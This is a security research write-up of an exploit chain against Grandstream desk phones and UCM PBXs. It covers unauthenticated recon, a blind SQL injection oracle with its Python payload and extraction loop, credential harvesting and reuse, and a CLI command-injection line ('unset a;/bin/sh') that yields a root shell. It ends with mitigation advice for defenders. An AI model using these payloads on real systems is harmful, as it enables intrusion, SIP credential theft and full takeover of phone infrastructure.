One unauthenticated GET request against a Grandstream desk phone is enough to locate the PBX, fingerprint its firmware, and eventually own it — root shell included. This dispatch documents GrandScream, a single-file, stdlib-only Python tool that chains unauthenticated information disclosure, a blind SQL injection oracle (CVE-2020-5726), credential reuse, and a restricted-CLI escape (CVE-2020-5759) into one command. The CVEs are old. The value is in the recon methodology and in what happens when you compress a multi-hour manual chain into thirty seconds of deterministic code.
Everything below was verified in an authorized lab against a UCM6510 PBX on firmware 1.0.18.13 and a GXP1625 phone on firmware 1.0.7.11. The tooling is public on GitHub; the engagement-specific data (extension inventory, real secrets) stays off this blog.
1. The Setup: VoIP Fleets Are the Forgotten Attack Surface
Enterprises patch servers. Nobody patches the phone on the reception desk. IP handsets are small Linux boxes with persistent web servers, factory-default admin accounts, and firmware that ships old and stays old. The PBX behind them is worse: it holds SIP credentials for every extension, call recordings, CDRs, trunks, and — on the Grandstream UCM series — a root shell one configuration sub-command away.
The vulnerabilities used in this chain date from 2019–2020 and several sit in CISA's Known Exploited Vulnerabilities catalog. That's the point: this is not about zero-days, it's about what's actually still running on real networks.
GXP phone (unauth) → SIP account leak reveals PBX IP + extension →
UCM fingerprint (unauth version probe) → firmware eligible for CVE-2020-572x →
CTI blind SQLi on TCP 8888 extracts the admin password →
web login (md5 challenge-response) →
SIP credential harvest for every extension →
credential reuse takes the phone's web admin →
SSH into the UCM, escape the restricted CLI, uid=0(root).
2. Recon Methodology, Stage by Stage
Stage 0 — Read Before You Authenticate
The GXP1625 exposes two unauthenticated read primitives, and both are free recon:
-
/cgi-bin/api.values.getwith an emptysidreturns a whitelisted set of public values — phone model, firmware, lockout state. You fingerprint the device without ever touching the login form, so you never risk the lockout. -
/cgi-bin/api-get_accountsreturns the SIP account table: the SIP server IP, the extension'ssip_id, the account name, and registration status. No credentials. No rate limit worth mentioning.
Principle 1: drain the unauthenticated read surface first. It costs nothing, it rarely trips alarms, and every field you harvest collapses a guess you'd otherwise make with a scanner.
Two more recon details from the phone that pay off later:
- Login error codes are an oracle of their own:
wrong1means the username exists,wrong2means it doesn't. Free username enumeration. - The lockout is aggressive and its counter persists across the 5-minute window. So the script checks
/cgi-bin/api-get_lockoutbefore every password attempt. Recon isn't just about the target's version — it's about the target's defenses. Know the lockout policy before you ever risk triggering it.
Stage 1 — Assets Are Nodes; Recon Is Edges
The account table leaked above contains one field that changes the entire engagement: sip_server. The phone tells you, unprompted, which host runs its telephony. No need to sweep the /22 looking for a lighttpd banner — the dependency is handed to you.
Principle 2: recon is a graph problem. A port scan enumerates nodes; the interesting data is the edges — what talks to what, with what credentials, under whose authority. The phone→PBX edge came with a version of trust attached, and that trust is exactly what the chain abuses later via credential reuse.
Stage 2 — Fingerprinting Is an Eligibility Check
Against the PBX, POST /cgi?action=getInfo (unauthenticated) returns the model, program version, and country. That one response gates the whole operation: UCM6510 firmware 1.0.18.13 < 1.0.19.20 means the CVE-2020-572x family is in scope, and the chain is worth pursuing. On a patched box you find this out in one request instead of one failed exploit.
Principle 3: convert fingerprints into go/no-go decisions before firing anything. Version → CVE eligibility → chain selection. The script encodes this as an explicit step, not an assumption.
Stage 3 — Turning a Login Challenge into a Boolean Oracle
The UCM's CTI service listens on TCP 8888 and speaks a trivial protocol: a 4-byte big-endian length prefix, then a line like action=challenge&user=admin. The response is JSON — status: 0 when the user matches, status: -5 when it doesn't.
The user parameter lands in a SQLite query (CVE-2020-5726), and that binary status is all you need for a blind injection oracle:
def oracle(self, cond, user="admin"):
payload = f"action=challenge&user={user}' AND {cond}-- ".encode()
r = self._send(payload)
return r is not None and r.get("status") == 0
Note the trailing space after --. This is not decoration: SQLite requires it. Without the space, the comment isn't parsed, the query is a syntax error, and the oracle silently answers false to everything — the worst failure mode a blind injection can have, because it looks like "not vulnerable" instead of "broken payload." Dialect quirks are methodology.
Extraction is classic bisection: loop LENGTH() from zero to find the length, then binary-search each character over the printable range:
lo, hi = 0x20, 0x7E
while lo < hi:
mid = (lo + hi) // 2
if self.oracle(f"substr(({subq}),{pos},1) >= '{chr(mid)}'"):
lo = mid + 1
else:
hi = mid
out += chr(lo - 1)
The printable ASCII range spans 95 code points, so each character costs \( \lceil \log_2 95 \rceil = 7 \) queries. A 12-character password with a small length-probe loop lands around ~100 requests total — observed runtime in the lab: 13 seconds, single-threaded, with polite connection churn. The same extraction by hand in a proxy replays out at an hour of copy-paste and one silent typo.
Two hard-won lessons from reading data you cannot see:
-
The decoy row. The
userstable holds anadminrow whose password is not the web/CTI login password. The real web credential lives in the challenge table the outer query reads. Blind dumps need a plausibility check against how the app actually authenticates — the script extracts from the challenge table directly. -
Row order lies.
LIMIT/OFFSETwithoutORDER BYwalks the index while column pairs were verified against rowid order, silently misaligninguser_namewithuser_password. The blind table dump looked fine and was wrong. We only caught it because a root shell later gave ground truth from/cfg/etc/ucm_config.db. Always validate a blind extraction channel against a known value once — then never trust it blindly again.
Stage 4 — Log In, Then Harvest
The UCM web API (HTTPS 8089) authenticates with a challenge-response: request action=challenge, compute token = md5(challenge + password), submit action=login. With the oracle-extracted password this is one round trip to a session cookie.
Then the authenticated API does what PBX admin APIs do: action=listAccount enumerates every extension, and action=getSipAccount&extension=N returns each one's SIP authid, secret, and voicemail PIN — in plaintext. One compromised admin account is equivalent to compromising every handset's SIP identity.
Stage 5 — The Credential Reuse Graph
In the lab, one password was simultaneously: the UCM web admin password, the phone's web admin password, and extension 1000's SIP secret. That's not luck; that's how these fleets are administered.
The script treats harvested secrets as a priority queue — [oracle_password, sip_secret, user_supplied] — and tries them against the phone's /cgi-bin/dologin, checking the lockout endpoint between attempts and bailing the moment it reports locked. Principle 4: password attacks are graph traversal with a blast-radius budget. The lockout check is the budget.
Stage 6 — Root, and Ranking Your Paths
Two roads to code execution existed. The web path (CVE-2020-5722, sendPasswordEmail command injection) is rate-limited to one call per 60 seconds, and on the tested firmware the injection point is wrapped in a quoted heredoc — it may simply not fire. The SSH path is deterministic:
ssh admin@10.20.0.4 # the web admin password works here
UCM6500 > config # enter the restricted config sub-shell
CONFIG > unset a;/bin/sh # CVE-2020-5759: parameter injection
~ # id # uid=0(root) busybox
Principle 5: rank exploits by reliability, not by wow-factor. The chain's final hop is the boring 2020 CLI escape precisely because it works every time. The flashy unauth web-RCE is kept as a documented fallback, rate-limit and all.
3. Automating the Chain
Manually, this chain is two browsers, a proxy tab, a spreadsheet of leaked fields, and an SSH session — call it an hour of careful clicking, non-repeatable, and audit-hostile. Automated, it is:
python grandscream.py --phone 10.20.0.108
[1] Phone fingerprint: 10.20.0.108
model=GXP1625 fw=1.0.7.11 sip_server=10.20.0.4 sip_id=1000 ...
[2] PBX fingerprint: 10.20.0.4
model=UCM6510 version=1.0.18.13 ...
[3] CTI blind SQLi (CVE-2020-5726) on 10.20.0.4:8888
[+] admin user_password (challenge table) = 'admin@123456' (13.2s)
[4] UCM web login: [+] logged in role=admin
[5] SIP authid=123456 secret=******** vmsecret=********
[6] Phone admin login: [+] (credential reuse)
Every step's output feeds the next step's input: the phone leaks the PBX, the oracle leaks the password, the password unlocks the harvest, the harvest feeds the reuse attempts. A chain with this shape wants to be a function pipeline. The design constraints that shaped the script:
-
Stdlib only.
socket,ssl,struct,urllib,hashlib,argparse— nothing else. It drops onto any engagement box withoutpip, and paramiko is optional, feature-degrading to "no interactive shell" instead of crashing. The 25-lineHttpclass (cookie jar, TLS verification off, error tolerance) replaces a browser for repeatability. -
Gated execution. The oracle is confirmed with a probe (
LENGTH(user_password)>0) before any extraction begins; a patched box gets a clean "not vulnerable" instead of garbage. Flags like--passwordlet you re-run post-auth stages without re-doing the SQLi, and--dump-usersmakes the slow full-table pull opt-in. - Quirks encoded, once. The SQLite trailing space, the bisection bounds, the decoy-table trap, the lockout pre-check, the 60-second rate limit on the web RCE path — every lesson from Section 2 is a line of code now. That's the real argument for scripting: the script is the writeup that executes. Six months later you don't remember the SQLite quirk; the script does.
-
Report-shaped output.
run()accumulates aresultsdict — fingerprints, credentials (memory only), shell status — so the tool's final state maps one-to-one onto finding sections in the engagement report. - Deliberately incomplete. The public build ships the recon, oracle, login, harvest, and SSH-CLI root path — but the bind/reverse shell listeners and persistence helpers from the lab notes were stripped before publishing. The methodology is the deliverable; the weaponized tail is left as an exercise for people who already know what they're doing, on networks they're allowed to do it on.
Automating a chain does not mean automating judgment. The script will happily run against a patched PBX and report "injection not confirmed" — that's a feature. The human decisions — scope, authorization, when to stop, what goes in the report — stay outside the code, and the code is honest enough to surface "this didn't work" instead of papering over it.
4. Notes for the Blue Team
- Patch past 1.0.19.20 on UCM65xx — or better, check whether the box still runs 2020 firmware at all, because that's the real finding.
- Segment the voice VLAN. A reception desk phone should not be able to introduce you to the PBX's admin interfaces. CTI on 8888 and SSH on 22 have no business being reachable from user segments.
- Kill credential reuse. Phone web admin = SIP secret = PBX admin is a single point of failure wearing three hats.
- Monitor the oracle signature: repeated
status 0/status -5alternation on TCP 8888 from one source is not normal telephony behavior.
5. Repo & Legal
Code and full command reference: github.com/Lulztigre/GrandScream. Python 3.8+, standard library only, paramiko optional for the shell hop.
Authorized security testing only. Every technique above was developed and verified against equipment in a lab built for the purpose. Point this at a network you don't own and you'll discover the fastest exploit chain of all is the legal one.
@article{lulz2026grandscream,
author = {LulzTigre},
title = {GrandScream: From One Desk Phone to a Root PBX},
journal = {LulzTigre Research Dispatches},
year = {2026},
url = {https://lulztigre.pw/posts/grandscream-phone-to-pbx-root.html}
}